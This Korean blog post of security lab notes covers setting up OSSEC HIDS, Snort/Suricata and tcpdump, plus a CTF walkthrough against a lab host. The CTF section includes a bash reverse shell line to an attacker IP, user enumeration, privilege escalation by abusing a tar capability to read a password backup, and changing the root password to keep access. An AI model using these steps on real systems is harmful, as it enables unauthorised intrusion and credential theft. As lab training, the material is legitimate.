카테고리 없음

[KaliLinux & Ubuntu & CTF] OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스

palantirops 2026. 5. 13. 17:29
보안 실습 노트 | OSSEC · CTF · IDS
Security Lab Notes

보안 실습 명령어 정리

OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스

00

OSSEC이란?

개념
OSSEC (Open Source Security) — 호스트 기반 침입 탐지 시스템 (HIDS, Host-based Intrusion Detection System)

쉽게 말하면 각 컴퓨터(호스트)에 에이전트를 설치해서, 이상한 일이 생기면 중앙 서버에 보고하는 보안 감시 시스템입니다.

OSSEC이 감시하는 항목들:

탐지 항목예시설명
로그 분석 SSH 로그인 실패, sudo 사용 시스템 로그를 실시간으로 파싱해서 수상한 패턴을 찾음
파일 무결성 /etc, /bin 등 변조 감지 중요 파일의 해시 값을 주기적으로 비교. 바뀌면 즉시 알림
루트킷 탐지 악성코드 숨김 탐지 숨겨진 프로세스·파일 탐색
정책 위반 비밀번호 여러 번 틀림 설정한 규칙 위반 시 경보
실시간 알림 alerts.log 기록 탐지 즉시 /var/ossec/logs/alerts/alerts.log에 기록

오늘 구성한 아키텍처:

Agent (Linux .236) UDP/TCP 1514 OSSEC Server (235) alerts.log 중앙 관제
01

OSSEC 서버 설치 (172.16.11.235)

SERVER
서버는 에이전트들로부터 보고를 받는 중앙 관제 역할입니다. 먼저 의존성 패키지를 깔고, Atomic 저장소를 추가한 뒤 ossec-hids-server를 설치합니다.
1단계 — 의존성 패키지 설치
# OSSEC 빌드/실행에 필요한 라이브러리들을 한 번에 설치
sudo apt install -y \
  build-essential make \   # C 컴파일러, make 빌드 도구
  zlib1g-dev libpcre2-dev \ # 압축, 정규표현식 라이브러리
  libevent-dev libssl-dev \ # 이벤트 루프, SSL 암호화
  libz-dev libsqlite3-dev   # 압축, DB (DB 모드 사용 시)
2단계 — Atomic 저장소 추가 (OSSEC 패키지 제공)
# Atomic Corp 저장소를 자동으로 등록하는 스크립트 실행
# -q -O - : 조용히 다운로드 후 바로 bash로 실행
sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash

sudo apt update   # 새 저장소 반영
3단계 — OSSEC 서버 설치 & 확인
sudo apt install -y ossec-hids-server

# 설치 확인 — 아래 파일들이 있으면 정상
sudo ls /var/ossec/etc/ossec.conf       # 메인 설정 파일
sudo ls /var/ossec/bin/manage_agents     # 에이전트 키 관리 도구
sudo ls /var/ossec/bin/ossec-control     # 서비스 시작/정지 도구

# OSSEC 서버 시작
sudo /var/ossec/bin/ossec-control start
4단계 — 에이전트 키 등록 (서버에서 수행)
# 에이전트를 서버에 등록하고 인증 키를 발급하는 대화형 툴
sudo /var/ossec/bin/manage_agents

# 메뉴가 뜨면:
# A → Add an agent   (에이전트 추가)
# E → Extract key    (키 출력 — 이걸 클라이언트에 붙여넣기)
5단계 — 에이전트 연결 확인
# 현재 연결된 에이전트 목록 출력
sudo /var/ossec/bin/agent_control -l

# 실시간 알림 로그 모니터링
sudo tail -f /var/ossec/logs/alerts/alerts.log
02

OSSEC 에이전트 설치 (클라이언트)

AGENT
에이전트는 감시 대상 서버마다 설치합니다. 서버 설치와 동일하게 의존성·저장소를 추가한 후 ossec-hids-agent를 설치하면 됩니다.
1단계 — 서버와 동일하게 의존성 + 저장소 추가
sudo apt install -y build-essential make zlib1g-dev libpcre2-dev \
  libevent-dev libssl-dev libz-dev libsqlite3-dev

sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash
sudo apt update
2단계 — OSSEC 에이전트 설치
sudo apt install -y ossec-hids-agent
3단계 — 서버 IP 설정
# 에이전트가 어느 서버에 보고할지 지정
sudo vi /var/ossec/etc/ossec.conf

# 아래 부분을 찾아서 서버 IP 입력
<client>
  <server-ip>172.16.11.235</server-ip>   <!-- 서버 IP -->
</client>
4단계 — 서버에서 발급받은 키 등록
# 대화형 키 등록 도구 실행
sudo /var/ossec/bin/manage_agents

# 메뉴에서:
# I → Import key   (서버의 manage_agents에서 추출한 키를 붙여넣기)
# Q → Quit
5단계 — 에이전트 시작 & 로그 확인
sudo /var/ossec/bin/ossec-control start

# 로그 디렉토리 확인
sudo ls /var/ossec/logs

# 에이전트 쪽 로그 실시간 확인
sudo tail -f /var/ossec/logs/ossec.log
03

OSSEC 연결 오류 해결

TROUBLESHOOT
에이전트가 Connected to 172.16.11.235는 뜨는데 메시지 전송 실패? → 키 인증 실패 또는 방화벽 포트 차단이 원인입니다.
OSSEC은 UDP/TCP 1514 포트를 사용합니다. 이 포트가 서버에서 열려 있지 않으면 에이전트가 연결은 해도 데이터를 못 보냅니다.
방법 A — firewalld로 포트 열기 (서버 235에서)
# firewalld 설치 (없는 경우)
sudo apt install -y firewalld

# 1514 포트 영구 허용 (UDP + TCP 둘 다)
sudo firewall-cmd --permanent --add-port=1514/udp
sudo firewall-cmd --permanent --add-port=1514/tcp
sudo firewall-cmd --reload

# 적용 확인
sudo firewall-cmd --list-ports
방법 B — ufw 사용 시
# ufw가 활성화된 경우 (ufw status 로 확인)
sudo ufw allow 1514/udp
sudo ufw allow 1514/tcp
sudo ufw reload
양쪽 재시작 (포트 설정 후 반드시)
# 서버 (235) 재시작
sudo /var/ossec/bin/ossec-control restart

# 에이전트 (236) 재시작
sudo /var/ossec/bin/ossec-control restart

# 서버에서 에이전트 연결 상태 확인
sudo /var/ossec/bin/agent_control -l
# "Active" 로 뜨면 성공!

04

CTF 해킹 실습 흐름

CTF
칼리 리눅스에서 타깃 서버(172.16.11.216)를 공격하는 흐름입니다. 침투 → 권한 상승 → 플래그 탈취 순서로 진행됩니다.
1단계 — enum4linux로 사용자 이름 열거
# SMB 프로토콜을 통해 타깃의 사용자·공유 정보를 수집
sudo enum4linux 172.16.11.216

# 출력 결과에서 유저 확인 예시:
# user:[cyber] rid:[0x3e8]
# → 로그인 이름이 "cyber" 임을 확인
2단계 — 리버스 쉘 연결
# 공격자(칼리, 213)에서 먼저 리스닝 시작
nc -lvp 1234
# -l : listen 모드  -v : 상세 출력  -p : 포트 지정

# 타깃 서버에서 실행 (RCE 취약점 등을 통해 실행)
# bash를 강제로 역방향으로 공격자에게 연결시킴
bash -i >& /dev/tcp/172.16.11.213/1234 0>&1
3단계 — 기본 시스템 정보 수집
# 리버스 쉘 연결 후 가장 먼저 확인할 것들
cat /etc/issue     # OS 버전 (Ubuntu 22.04 등)
uname -a           # 커널 버전 — 커널 익스플로잇 여부 판단
id                 # 현재 사용자 확인
whoami             # 현재 계정 이름
4단계 — 권한 상승 벡터 탐색
# SUID 파일 찾기 — root 권한으로 실행되는 파일 목록
# SUID가 설정된 파일은 실행 시 파일 소유자(주로 root) 권한으로 동작
find / -perm -4000 -type f 2>/dev/null

# Capabilities 확인 — SUID 없이도 특수 권한이 부여된 파일 탐색
# getcap은 예: tar에 cap_dac_read_search 권한이 있으면 모든 파일 읽기 가능
getcap -r / 2>/dev/null

# sudo 가능한 명령어 확인
sudo -l
5단계 — tar Capability 악용 → 비밀 파일 탈취
# getcap 결과에서 tar에 cap_dac_read_search 권한이 있는 경우:
# cap_dac_read_search = 파일 권한 무시하고 모든 파일 읽기 가능

# 원래 읽을 수 없는 비밀번호 백업 파일을 tar로 묶어서 훔침
./tar cf bak.tar /var/backups/.old_pass.bak
# cf : create file — bak.tar 를 생성하면서 .old_pass.bak 포함

# 압축 해제 후 내용 확인
tar -xf bak.tar
cat var/backups/.old_pass.bak   # 비밀번호 출력!
6단계 — root 전환 & 플래그 탈취
# 얻은 비밀번호로 root 전환
su root

# root 홈 디렉토리에서 플래그 찾기
cd /root
ls
cat rOOt.txt   # CTF 플래그!

# 비밀번호 변경 (접근 유지 목적)
passwd         # 1234 등 새 비밀번호 설정
이번 실습 핵심 취약점: Linux Capabilities (getcap)
SUID와 달리 파일 단위로 특정 권한만 부여하는 방식이지만, cap_dac_read_search처럼 강력한 권한이 붙어 있으면 동일하게 권한 상승 경로가 됩니다. 실제 환경에서도 getcap -r /은 반드시 체크해야 할 항목입니다.

05

IDS 명령어 (Snort / Suricata)

IDS / NMS
네트워크 기반 침입 탐지 (NIDS). OSSEC이 호스트 내부를 감시한다면, Snort/Suricata는 네트워크 트래픽을 감시합니다.
NMS 서버 호스트명 변경
# 서버 이름을 nms-server로 변경 후 쉘 재시작
sudo hostnamectl set-hostname nms-server && exec bash
tcpdump — 네트워크 패킷 캡처
# tcpdump 설치 (RHEL/CentOS/Rocky 계열)
sudo dnf install -y tcpdump

# 특정 인터페이스의 패킷을 파일로 저장
sudo tcpdump -i enp0s3 -w /tmp/capture.pcap
# -i enp0s3 : 캡처할 네트워크 인터페이스 (ip a 로 확인)
# -w        : 결과를 파일로 저장 (Wireshark로 분석 가능)

# 저장된 pcap 파일 읽기
sudo tcpdump -r /tmp/capture.pcap

# 특정 포트만 필터링해서 캡처
sudo tcpdump -i enp0s3 port 80 -w /tmp/http.pcap

# 특정 IP만 필터링
sudo tcpdump -i enp0s3 host 172.16.11.235
자주 헷갈리는 옵션 정리
# ─── tcpdump 옵션 ───────────────────────────────
-i <인터페이스>    # 어떤 NIC에서 캡처할지 (any = 전체)
-w <파일.pcap>     # 파일로 저장 (이 옵션 없으면 터미널에 출력)
-r <파일.pcap>     # 저장된 파일 읽기
-n                 # IP/포트를 이름으로 변환하지 않음 (속도 ↑)
-v / -vv / -vvv   # 상세도 단계별 증가
-c <개수>          # n개 패킷만 캡처 후 종료

# ─── 필터 문법 ──────────────────────────────────
port 22            # SSH 포트만
host 192.168.1.1   # 특정 호스트
tcp / udp          # 프로토콜 필터
not port 443       # HTTPS 제외
Suricata 관련 자주 쓰는 명령어
# Suricata 서비스 상태 확인
sudo systemctl status suricata

# 설정 파일 문법 검사
sudo suricata -T -c /etc/suricata/suricata.yaml

# 인터페이스 지정해서 실행
sudo suricata -i enp0s3

# 이미 캡처된 pcap 파일 오프라인 분석
sudo suricata -r /tmp/capture.pcap

# 알림 로그 실시간 확인
sudo tail -f /var/log/suricata/fast.log
sudo tail -f /var/log/suricata/eve.json   # JSON 형식 (상세)

# 규칙 업데이트 (suricata-update 사용 시)
sudo suricata-update
Snort 관련 자주 쓰는 명령어
# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf

# 인터페이스 모니터링 모드 실행
sudo snort -i enp0s3 -c /etc/snort/snort.conf -A fast

# pcap 파일 오프라인 분석
sudo snort -r /tmp/capture.pcap -c /etc/snort/snort.conf

# 알림 로그 확인
sudo tail -f /var/log/snort/alert

# ─── 자주 헷갈리는 부분 ─────────────────────────
# Snort 3 vs Snort 2 설정 파일 위치가 다름
# Snort 2: /etc/snort/snort.conf
# Snort 3: /etc/snort/snort.lua  ← lua 파일 사용!
06

빠른 참조 — 경로 & 포트 치트시트

CHEATSHEET
항목경로 / 값설명
OSSEC 설정 /var/ossec/etc/ossec.conf 서버·에이전트 공통 메인 설정 파일
OSSEC 알림 로그 /var/ossec/logs/alerts/alerts.log 모든 탐지 이벤트가 기록됨. 운영 중 tail -f 로 모니터링
OSSEC 에이전트 키 관리 /var/ossec/bin/manage_agents 에이전트 추가(A), 키 추출(E), 키 등록(I)
OSSEC 포트 1514 (UDP/TCP) 에이전트 → 서버 통신 포트. 방화벽에서 반드시 열어야 함
Suricata 알림 /var/log/suricata/fast.log 간단한 한 줄 형식. 빠른 확인에 적합
Suricata JSON 로그 /var/log/suricata/eve.json 상세 이벤트. ELK Stack 연동 시 이 파일 사용
Snort 알림 /var/log/snort/alert Snort 2 기준. Snort 3은 경로 다를 수 있음
tcpdump 저장 형식 .pcap Wireshark, Suricata, Snort 모두 -r 옵션으로 읽을 수 있음
last updated 2025 · OSSEC HIDS · CTF · IDS Reference Notes